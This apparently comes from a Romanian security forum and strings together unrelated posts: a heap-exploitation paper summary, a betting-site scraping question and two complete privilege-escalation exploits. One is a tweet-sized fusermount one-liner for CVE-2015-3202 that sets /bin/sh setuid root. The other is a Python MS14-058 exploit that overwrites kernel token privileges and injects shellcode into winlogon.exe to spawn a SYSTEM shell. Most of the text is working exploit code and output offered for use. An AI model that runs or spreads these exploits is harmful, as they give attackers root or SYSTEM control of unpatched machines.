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Hello RST : Advanced Heap Overflow Exploitation By Francois Goichon, 28 Jan. 2015 For 15 years, heap exploitation has gone through a relentless cycle of the disclosure of technical exploitation techniques and consequent hardening of malloc() in response. Notable examples include: the old-school unlink() exploit; the Malloc Maleficarum revisited in 2009; and Google Project Zero's large chunks unlink, where libc fails to compile assert() statements in. Inevitably, most of the techniques described in these papers are now obsolete, have been subsequently patched, or have been rendered unexploitable through the addition of mitigation technologies such as Address Space Layout Randomisation (ASLR) and No eXecute (NX). Nowadays, exploiting heap structures is heavily dependent on the target application, and in most scenarios the goal is to overwrite pointers or indexes that can eventually provide program counter (PC) control or an arbitrary overwrite. In this paper, however, we target a more specific scenario, where the heap overflow cannot immediately reach interesting data. We present how heap structures can be abused to produce overlapping chunks. The exploitation process is then comparable to use-after-free vulnerabilities. We demonstrate this scenario in both a real-world example and a proof-of-concept program prone to overflows in heap areas where the attacker can predict and further manage chunk allocation. This happens in programs that make an extensive use of malloc() and free() with user-controlled chunks, namely protocol handlers, parsers, editors or, more generally, applications maintaining algorithmic structures of said user-supplied data. Read the full whitepaper Source : Advanced Heap Overflow Exploitation Regards NO-MERCY

# Making a demo exploit for CVE-2015-3202 on Ubuntu fit in a tweet. 12345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890 a=/tmp/.$$;b=chmod\ u+sx;echo $b /bin/sh>$a;$b $a;a+=\;$a;mkdir -p $a;LIBMOUNT_MTAB=/etc/$0.$0rc _FUSE_COMMFD=0 fusermount $a #CVE-2015-3202 # Here's how it works, $a holds the name of a shellscript to be executed as # root. a=/tmp/.$$; # $b is used twice, first to build the contents of shellscript $a, and then as # a command to make $a executable. Quotes are unused to save a character, so # the seperator must be escaped. b=chmod\ u+sx; # Build the shellscript $a, which should contain "chmod u+sx /bin/sh", making # /bin/sh setuid root. This only works on Debian/Ubuntu because they use dash, # and dont make it drop privileges. # # http://www.openwall.com/lists/oss-security/2013/08/22/12 # echo $b /bin/sh>$a; # Now make the $a script executable using the command in $b. This needlessly # sets the setuid bit, but that doesn't do any harm. $b $a; # Now make $a the directory we want fusermount to use. This directory name is # written to an arbitrary file as part of the vulnerability, so needs to be # formed such that it's a valid shell command. a+=\;$a; # Create the mount point for fusermount. mkdir -p $a; # fusermount calls setuid(geteuid()) to reset the ruid when it invokes # /bin/mount so that it can use privileged mount options that are normally # restricted if ruid != euid. That's acceptable (but scary) in theory, because # fusermount can sanitize the call to make sure it's safe. # # However, because mount thinks it's being invoked by root, it allows # access to debugging features via the environment that would not normally be # safe for unprivileged users and fusermount doesn't sanitize them. # # Therefore, the bug is that the environment is not cleared when calling mount # with ruid=0. One debugging feature available is changing the location of # /etc/mtab by setting LIBMOUNT_MTAB, which we can abuse to overwrite arbitrary # files. # # In this case, I'm trying to overwrite /etc/bash.bashrc (using the name of the # current shell from $0...so it only works if you're using bash!). # # The line written by fusermount will look like this: # # /dev/fuse /tmp/.123;/tmp/.123 fuse xxx,xxx,xxx,xxx # # Which will try to execute /dev/fuse with the paramter /tmp/_, fail because # /dev/fuse is a device node, and then execute /tmp/_ with the parameters fuse # xxx,xxx,xxx,xxx. This means executing /bin/sh will give you a root shell the # next time root logs in. # # Another way to exploit it would be overwriting /etc/default/locale, then # waiting for cron to run /etc/cron.daily/apt at midnight. That means root # wouldn't have to log in, but you would have to wait around until midnight to # check if it worked. # # And we have enough characters left for a hash tag/comment. LIBMOUNT_MTAB=/etc/$0.$0rc _FUSE_COMMFD=0 fusermount $a #CVE-2015-3202 # Here is how the exploit looks when you run it: # # $ a=/tmp/_;b=chmod\ u+sx;echo $b /bin/sh>$a;$b $a;a+=\;$a;mkdir -p $a;LIBMOUNT_MTAB=/etc/$0.$0rc _FUSE_COMMFD=0 fusermount $a #CVE-2015-3202 # fusermount: failed to open /etc/fuse.conf: Permission denied # sending file descriptor: Socket operation on non-socket # $ cat /etc/bash.bashrc # /dev/fuse /tmp/_;/tmp/_ fuse rw,nosuid,nodev,user=taviso 0 0 # # Now when root logs in next... # $ sudo -s # bash: /dev/fuse: Permission denied # # ls -Ll /bin/sh # -rwsr-xr-x 1 root root 121272 Feb 19 2014 /bin/sh # # exit # $ sh -c 'id' # euid=0(root) groups=0(root) # # To repair the damage after testing, do this: # # $ sudo rm /etc/bash.bashrc # $ sudo apt-get install -o Dpkg::Options::="--force-confmiss" --reinstall -m bash # $ sudo chmod 0755 /bin/sh # $ sudo umount /tmp/.$$\;/tmp/.$$ # $ rm -rf /tmp/.$$ /tmp/.$$\; # Sursa: http://dl.packetstormsecurity.net/1505-exploits/fusermount-escalate.txt

La stanleybet de exemplu, daca dai la meciurile care sunt la oferta iti apare un "+". Dai click pe acel + si iti arata si alte tipuri de pariuri pe care le poti folosi la acel meci. Tot la fel si la publicbet, numai ca acolo dai click pur si simplu pe numele meciului. Stie cineva cum s-ar putea parsa aceste date la tine pe site ? Multumesc mult !

# Windows 8.0 - 8.1 x64 TrackPopupMenu Privilege Escalation (MS14-058) # CVE-2014-4113 Privilege Escalation # http://www.offensive-security.com # Thx to Moritz Jodeit for the beautiful writeup # http://www.exploit-db.com/docs/35152.pdf # Target OS Windows 8.0 - 8.1 x64 # Author: Matteo Memelli ryujin <at> offensive-security.com from ctypes import * from ctypes.wintypes import * import struct, sys, os, time, threading, signal ULONG_PTR = PVOID = LPVOID HCURSOR = HICON PDWORD = POINTER(DWORD) PQWORD = POINTER(LPVOID) LRESULT = LPVOID UCHAR = c_ubyte QWORD = c_ulonglong CHAR = c_char NTSTATUS = DWORD MIIM_STRING = 0x00000040 MIIM_SUBMENU = 0x00000004 WH_CALLWNDPROC = 0x4 GWLP_WNDPROC = -0x4 NULL = 0x0 SystemExtendedHandleInformation = 64 ObjectDataInformation = 2 STATUS_INFO_LENGTH_MISMATCH = 0xC0000004 STATUS_BUFFER_OVERFLOW = 0x80000005L STATUS_INVALID_HANDLE = 0xC0000008L STATUS_BUFFER_TOO_SMALL = 0xC0000023L STATUS_SUCCESS = 0 TOKEN_ALL_ACCESS = 0xf00ff DISABLE_MAX_PRIVILEGE = 0x1 FORMAT_MESSAGE_FROM_SYSTEM = 0x00001000 PAGE_EXECUTE_READWRITE = 0x00000040 PROCESS_ALL_ACCESS = ( 0x000F0000 | 0x00100000 | 0xFFF ) VIRTUAL_MEM = ( 0x1000 | 0x2000 ) TH32CS_SNAPPROCESS = 0x02 WinFunc1 = WINFUNCTYPE(LPVOID, INT, WPARAM, LPARAM) WinFunc2 = WINFUNCTYPE(HWND, LPVOID, INT, WPARAM, LPARAM) WNDPROC = WINFUNCTYPE(LPVOID, HWND, UINT, WPARAM, LPARAM) bWndProcFlag = False bHookCallbackFlag = False EXPLOITED = False Hmenu01 = Hmenu02 = None # /* # * windows/x64/exec - 275 bytes # * http://www.metasploit.com # * VERBOSE=false, PrependMigrate=false, EXITFUNC=thread, # * CMD=cmd.exe # */ SHELLCODE = ( "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" "\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" "\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48" "\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" "\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c" "\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" "\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" "\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" "\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" "\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f" "\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff" "\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" "\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64" "\x2e\x65\x78\x65\x00") class LSA_UNICODE_STRING(Structure): """Represent the LSA_UNICODE_STRING on ntdll.""" _fields_ = [ ("Length", USHORT), ("MaximumLength", USHORT), ("Buffer", LPWSTR), ] class SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX(Structure): """Represent the SYSTEM_HANDLE_TABLE_ENTRY_INFO on ntdll.""" _fields_ = [ ("Object", PVOID), ("UniqueProcessId", PVOID), ("HandleValue", PVOID), ("GrantedAccess", ULONG), ("CreatorBackTraceIndex", USHORT), ("ObjectTypeIndex", USHORT), ("HandleAttributes", ULONG), ("Reserved", ULONG), ] class SYSTEM_HANDLE_INFORMATION_EX(Structure): """Represent the SYSTEM_HANDLE_INFORMATION on ntdll.""" _fields_ = [ ("NumberOfHandles", PVOID), ("Reserved", PVOID), ("Handles", SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX * 1), ] class PUBLIC_OBJECT_TYPE_INFORMATION(Structure): """Represent the PUBLIC_OBJECT_TYPE_INFORMATION on ntdll.""" _fields_ = [ ("Name", LSA_UNICODE_STRING), ("Reserved", ULONG * 22), ] class MENUITEMINFO(Structure): """Contains information about a menu item.""" _fields_ = [ ("cbSize" , UINT), ("fMask" , UINT), ("fType" , UINT), ("fState" , UINT), ("wID" , UINT), ("hSubMenu" , HMENU), ("hbmpChecked" , HBITMAP), ("hbmpUnchecked", HBITMAP), ("dwItemData" , ULONG_PTR), ("dwTypeData" , LPWSTR), ("cch" , UINT), ("hbmpItem" , HBITMAP), ] class WNDCLASS(Structure): """Contains the window class attributes that are registered by the RegisterClass function.""" _fields_ = [ ("style" , UINT), ("lpfnWndProc" , WNDPROC), ("cbClsExtra" , INT), ("cbWndExtra" , INT), ("hInstance" , HINSTANCE), ("hIcon" , HCURSOR), ("hCursor" , HBITMAP), ("hbrBackground", HBRUSH), ("lpszMenuName" , LPWSTR), ("lpszClassName", LPWSTR), ] class PROCESSENTRY32(Structure): """Describes an entry from a list of the processes residing in the system address space when a snapshot was taken.""" _fields_ = [ ( 'dwSize' , DWORD ) , ( 'cntUsage' , DWORD) , ( 'th32ProcessID' , DWORD) , ( 'th32DefaultHeapID' , POINTER(ULONG)) , ( 'th32ModuleID' , DWORD) , ( 'cntThreads' , DWORD) , ( 'th32ParentProcessID' , DWORD) , ( 'pcPriClassBase' , LONG) , ( 'dwFlags' , DWORD) , ( 'szExeFile' , CHAR * MAX_PATH ) ] user32 = windll.user32 kernel32 = windll.kernel32 ntdll = windll.ntdll advapi32 = windll.advapi32 user32.PostMessageW.argtypes = [HWND, UINT, WPARAM, LPARAM] user32.PostMessageW.restype = BOOL user32.DefWindowProcW.argtypes = [HWND, UINT, WPARAM, LPARAM] user32.DefWindowProcW.restype = LRESULT user32.UnhookWindowsHook.argtypes = [DWORD, WinFunc1] user32.UnhookWindowsHook.restype = BOOL user32.SetWindowLongPtrW.argtypes = [HWND, DWORD, WinFunc2] user32.SetWindowLongPtrW.restype = LPVOID user32.CallNextHookEx.argtypes = [DWORD, DWORD, WPARAM, LPARAM] user32.CallNextHookEx.restype = LRESULT user32.RegisterClassW.argtypes = [LPVOID] user32.RegisterClassW.restype = BOOL user32.CreateWindowExW.argtypes = [DWORD, LPWSTR, LPWSTR, DWORD, INT, INT, INT, INT, HWND, HMENU, HINSTANCE, LPVOID] user32.CreateWindowExW.restype = HWND user32.InsertMenuItemW.argtypes = [HMENU, UINT, BOOL, LPVOID] user32.InsertMenuItemW.restype = BOOL user32.DestroyMenu.argtypes = [HMENU] user32.DestroyMenu.restype = BOOL user32.SetWindowsHookExW.argtypes = [DWORD, WinFunc1, DWORD, DWORD] user32.SetWindowsHookExW.restype = BOOL user32.TrackPopupMenu.argtypes = [HMENU, UINT, INT, INT, INT, HWND, DWORD] user32.TrackPopupMenu.restype = BOOL advapi32.OpenProcessToken.argtypes = [HANDLE, DWORD , POINTER(HANDLE)] advapi32.OpenProcessToken.restype = BOOL advapi32.CreateRestrictedToken.argtypes = [HANDLE, DWORD, DWORD, DWORD, DWORD, DWORD, DWORD, DWORD, POINTER(HANDLE)] advapi32.CreateRestrictedToken.restype = BOOL advapi32.AdjustTokenPrivileges.argtypes = [HANDLE, BOOL, DWORD, DWORD, DWORD, DWORD] advapi32.AdjustTokenPrivileges.restype = BOOL advapi32.ImpersonateLoggedOnUser.argtypes = [HANDLE] advapi32.ImpersonateLoggedOnUser.restype = BOOL kernel32.GetCurrentProcess.restype = HANDLE kernel32.WriteProcessMemory.argtypes = [HANDLE, QWORD, LPCSTR, DWORD, POINTER(LPVOID)] kernel32.WriteProcessMemory.restype = BOOL kernel32.OpenProcess.argtypes = [DWORD, BOOL, DWORD] kernel32.OpenProcess.restype = HANDLE kernel32.VirtualAllocEx.argtypes = [HANDLE, LPVOID, DWORD, DWORD, DWORD] kernel32.VirtualAllocEx.restype = LPVOID kernel32.CreateRemoteThread.argtypes = [HANDLE, QWORD, UINT, QWORD, LPVOID, DWORD, POINTER(HANDLE)] kernel32.CreateRemoteThread.restype = BOOL kernel32.CreateToolhelp32Snapshot.argtypes = [DWORD, DWORD] kernel32.CreateToolhelp32Snapshot.restype = HANDLE kernel32.CloseHandle.argtypes = [HANDLE] kernel32.CloseHandle.restype = BOOL kernel32.Process32First.argtypes = [HANDLE, POINTER(PROCESSENTRY32)] kernel32.Process32First.restype = BOOL kernel32.Process32Next.argtypes = [HANDLE, POINTER(PROCESSENTRY32)] kernel32.Process32Next.restype = BOOL kernel32.GetCurrentThreadId.restype = DWORD ntdll.NtAllocateVirtualMemory.argtypes = [HANDLE, LPVOID, ULONG, LPVOID, ULONG, DWORD] ntdll.NtAllocateVirtualMemory.restype = NTSTATUS ntdll.NtQueryObject.argtypes = [HANDLE, DWORD, POINTER(PUBLIC_OBJECT_TYPE_INFORMATION), DWORD, DWORD] ntdll.NtQueryObject.restype = NTSTATUS ntdll.NtQuerySystemInformation.argtypes = [DWORD, POINTER(SYSTEM_HANDLE_INFORMATION_EX), DWORD, POINTER(DWORD)] ntdll.NtQuerySystemInformation.restype = NTSTATUS def log(msg, e=None): if e == "e": msg = "[!] " + msg if e == "d": msg = "[*] " + msg else: msg = "[+] " + msg print msg def getLastError(): """Format GetLastError""" buf = create_string_buffer(2048) if kernel32.FormatMessageA(FORMAT_MESSAGE_FROM_SYSTEM, NULL, kernel32.GetLastError(), 0, buf, sizeof(buf), NULL): log(buf.value, "e") else: log("Unknown Error", "e") class x_file_handles (Exception): pass def get_type_info(handle): """Get the handle type information.""" public_object_type_information = PUBLIC_OBJECT_TYPE_INFORMATION() size = DWORD(sizeof(public_object_type_information)) while True: result = ntdll.NtQueryObject(handle, ObjectDataInformation, byref(public_object_type_information), size, 0x0) if result == STATUS_SUCCESS: return public_object_type_information.Name.Buffer elif result == STATUS_INFO_LENGTH_MISMATCH: size = DWORD(size.value * 4) resize(public_object_type_information, size.value) elif result == STATUS_INVALID_HANDLE: return "INVALID HANDLE: %s" % hex(handle) else: raise x_file_handles("NtQueryObject", hex(result)) def get_handles(): """Return all the open handles in the system""" system_handle_information = SYSTEM_HANDLE_INFORMATION_EX() size = DWORD (sizeof (system_handle_information)) while True: result = ntdll.NtQuerySystemInformation( SystemExtendedHandleInformation, byref(system_handle_information), size, byref(size) ) if result == STATUS_SUCCESS: break elif result == STATUS_INFO_LENGTH_MISMATCH: size = DWORD(size.value * 4) resize(system_handle_information, size.value) else: raise x_file_handles("NtQuerySystemInformation", hex(result)) pHandles = cast( system_handle_information.Handles, POINTER(SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX * \ system_handle_information.NumberOfHandles) ) for handle in pHandles.contents: yield handle.UniqueProcessId, handle.HandleValue, handle.Object def WndProc(hwnd, message, wParam, lParam): """Window procedure""" global bWndProcFlag if message == 289 and not bWndProcFlag: bWndProcFlag = True user32.PostMessageW(hwnd, 256, 40, 0) user32.PostMessageW(hwnd, 256, 39, 0) user32.PostMessageW(hwnd, 513, 0, 0) return user32.DefWindowProcW(hwnd, message, wParam, lParam) def hook_callback_one(code, wParam, lParam): """Sets a new address for the window procedure""" global bHookCallbackFlag if ((cast((lParam+sizeof(HANDLE)*2),PDWORD)).contents).value == 0x1eb and\ not bHookCallbackFlag: bHookCallbackFlag = True if user32.UnhookWindowsHook(WH_CALLWNDPROC, CALLBACK01): # Sets a new address for the window procedure log("Callback triggered!") log("Setting the new address for the window procedure...") lpPrevWndFunc = user32.SetWindowLongPtrW\ ((cast((lParam+sizeof(HANDLE)*3),PDWORD).contents).value, GWLP_WNDPROC, CALLBACK02) return user32.CallNextHookEx(0, code, wParam, lParam) def hook_callback_two(hWnd, Msg, wParam, lParam): """Once called will return the fake tagWND address""" global EXPLOITED user32.EndMenu() EXPLOITED = True log("Returning the fake tagWND and overwriting token privileges...") return 0x00000000FFFFFFFB def buildMenuAndTrigger(): """Create menus and invoke TrackPopupMenu""" global Hmenu01, Hmenu02 log("Creating windows and menus...") wndClass = WNDCLASS() wndClass.lpfnWndProc = WNDPROC(WndProc) wndClass.lpszClassName = u"pwned" wndClass.cbClsExtra = wndClass.cbWndExtra = 0 # Registering Class if not user32.RegisterClassW(addressof(wndClass)): log("RegisterClassW failed", "e") sys.exit() # Creating the Window hWnd = user32.CreateWindowExW(0, u"pwned", u"pwned", 0, -1, -1, 0, 0, NULL, NULL, NULL, NULL) if not hWnd: log("CreateWindowExW Failed", "e") sys.exit() # Creating popup menu user32.CreatePopupMenu.restype = HMENU Hmenu01 = user32.CreatePopupMenu() if not Hmenu01: log("CreatePopupMenu failed 0x1", "e") sys.exit() Hmenu01Info = MENUITEMINFO() Hmenu01Info.cbSize = sizeof(MENUITEMINFO) Hmenu01Info.fMask = MIIM_STRING # Insert first menu if not user32.InsertMenuItemW(Hmenu01, 0, True, addressof(Hmenu01Info)): log("Error in InsertMenuItema 0x1", "e") user32.DestroyMenu(Hmenu01) sys.exit() # Creating second menu Hmenu02 = user32.CreatePopupMenu() if not Hmenu02: log("CreatePopupMenu failed 0x2", "e") sys.exit() Hmenu02Info = MENUITEMINFO() Hmenu02Info.cbSize = sizeof(MENUITEMINFO) Hmenu02Info.fMask = (MIIM_STRING | MIIM_SUBMENU) Hmenu02Info.dwTypeData = "" Hmenu02Info.cch = 1 Hmenu02Info.hSubMenu = Hmenu01 # Insert second menu if not user32.InsertMenuItemW(Hmenu02, 0, True, addressof(Hmenu02Info)): log("Error in InsertMenuItema 0x2", "e") user32.DestroyMenu(Hmenu01) user32.DestroyMenu(Hmenu01) sys.exit() # Set window callback tid = kernel32.GetCurrentThreadId() if not user32.SetWindowsHookExW(WH_CALLWNDPROC, CALLBACK01, NULL, tid): log("Failed SetWindowsHookExA 0x1", "e") sys.exit() # Crash it! log("Invoking TrackPopupMenu...") user32.TrackPopupMenu(Hmenu02, 0, -10000, -10000, 0, hWnd, NULL) def alloctagWND(): """Allocate a fake tagWND in userspace at address 0x00000000fffffff0""" hProcess = HANDLE(kernel32.GetCurrentProcess()) hToken = HANDLE() hRestrictedToken = HANDLE() if not advapi32.OpenProcessToken(hProcess,TOKEN_ALL_ACCESS, byref(hToken)): log("Could not open current process token", "e") getLastError() sys.exit() if not advapi32.CreateRestrictedToken(hToken, DISABLE_MAX_PRIVILEGE, 0, 0, 0, 0, 0, 0, byref(hRestrictedToken)): log("Could not create the restricted token", "e") getLastError() sys.exit() if not advapi32.AdjustTokenPrivileges(hRestrictedToken, 1, NULL, 0, NULL, NULL): log("Could not adjust privileges to the restricted token", "e") getLastError() sys.exit() # Leak Token addresses in kernel space log("Leaking token addresses from kernel space...") for pid, handle, obj in get_handles(): if pid==os.getpid() and get_type_info(handle) == "Token": if hToken.value == handle: log("Current process token address: %x" % obj) if hRestrictedToken.value == handle: log("Restricted token address: %x" % obj) RestrictedToken = obj CurrentProcessWin32Process = "\x00"*8 # nt!_TOKEN+0x40 Privileges : _SEP_TOKEN_PRIVILEGES # +0x3 overwrite Enabled in _SEP_TOKEN_PRIVILEGES, -0x8 ADD RAX,0x8 TokenAddress = struct.pack("<Q", RestrictedToken+0x40+0x3-0x8) tagWND = "\x41"*11 + "\x00\x00\x00\x00" +\ "\x42"*0xC + "\xf0\xff\xff\xff\x00\x00\x00\x00" +\ "\x00"*8 +\ "\x43"*0x145 + CurrentProcessWin32Process + "\x45"*0x58 +\ TokenAddress + "\x47"*0x28 ## Allocate space for the input buffer lpBaseAddress = LPVOID(0x00000000fffffff0) Zerobits = ULONG(0) RegionSize = LPVOID(0x1000) written = LPVOID(0) dwStatus = ntdll.NtAllocateVirtualMemory(0xffffffffffffffff, byref(lpBaseAddress), 0x0, byref(RegionSize), VIRTUAL_MEM, PAGE_EXECUTE_READWRITE) if dwStatus != STATUS_SUCCESS: log("Failed to allocate tagWND object", "e") getLastError() sys.exit() # Copy input buffer to the fake tagWND nSize = 0x200 written = LPVOID(0) lpBaseAddress = QWORD(0x00000000fffffff0) dwStatus = kernel32.WriteProcessMemory(0xffffffffffffffff, lpBaseAddress, tagWND, nSize, byref(written)) if dwStatus == 0: log("Failed to copy the input buffer to the tagWND object", "e") getLastError() sys.exit() log("Fake win32k!tagWND allocated, written %d bytes to 0x%x" %\ (written.value, lpBaseAddress.value)) return hRestrictedToken def injectShell(hPrivilegedToken): """Impersonate privileged token and inject shellcode into winlogon.exe""" while not EXPLOITED: time.sleep(0.1) log("-"*70) log("Impersonating the privileged token...") if not advapi32.ImpersonateLoggedOnUser(hPrivilegedToken): log("Could not impersonate the privileged token", "e") getLastError() sys.exit() # Get winlogon.exe pid pid = getpid("winlogon.exe") # Get a handle to the winlogon process we are injecting into hProcess = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, int(pid)) if not hProcess: log("Couldn't acquire a handle to PID: %s" % pid, "e") sys.exit() log("Obtained handle 0x%x for the winlogon.exe process" % hProcess) # Creating shellcode buffer to inject into the host process sh = create_string_buffer(SHELLCODE, len(SHELLCODE)) code_size = len(SHELLCODE) # Allocate some space for the shellcode (in the program memory) sh_address = kernel32.VirtualAllocEx(hProcess, 0, code_size, VIRTUAL_MEM, PAGE_EXECUTE_READWRITE) if not sh_address: log("Could not allocate shellcode in the remote process") getLastError() sys.exit() log("Allocated memory at address 0x%x" % sh_address) # Inject shellcode in to winlogon.exe process space written = LPVOID(0) shellcode = QWORD(sh_address) dwStatus = kernel32.WriteProcessMemory(hProcess, shellcode, sh, code_size, byref(written)) if not dwStatus: log("Could not write shellcode into winlogon.exe", "e") getLastError() sys.exit() log("Injected %d bytes of shellcode to 0x%x" % (written.value, sh_address)) # Now we create the remote thread and point its entry routine to be head of # our shellcode thread_id = HANDLE(0) if not kernel32.CreateRemoteThread(hProcess, 0, 0, sh_address, 0, 0, byref(thread_id)): log("Failed to inject shellcode into winlogon.exe") sys.exit(0) log("Remote thread 0x%08x created" % thread_id.value) log("Spawning SYSTEM shell...") # Kill python process to kill the window and avoid BSODs os.kill(os.getpid(), signal.SIGABRT) def getpid(procname): """ Get Process Pid by procname """ pid = None try: hProcessSnap = kernel32.CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) pe32 = PROCESSENTRY32() pe32.dwSize = sizeof(PROCESSENTRY32) ret = kernel32.Process32First(hProcessSnap , byref(pe32)) while ret: if pe32.szExeFile == LPSTR(procname).value: pid = pe32.th32ProcessID ret = kernel32.Process32Next(hProcessSnap, byref(pe32)) kernel32.CloseHandle ( hProcessSnap ) except Exception, e: log(str(e), "e") if not pid: log("Could not find %s PID" % procname) sys.exit() return pid CALLBACK01 = WinFunc1(hook_callback_one) CALLBACK02 = WinFunc2(hook_callback_two) if __name__ == '__main__': log("MS14-058 Privilege Escalation - ryujin <at> offensive-security.com", "d") # Prepare the battlefield hPrivilegedToken = alloctagWND() # Start the injection thread t1 = threading.Thread(target=injectShell, args = (hPrivilegedToken,)) t1.daemon = False t1.start() # Trigger the vuln buildMenuAndTrigger() Source

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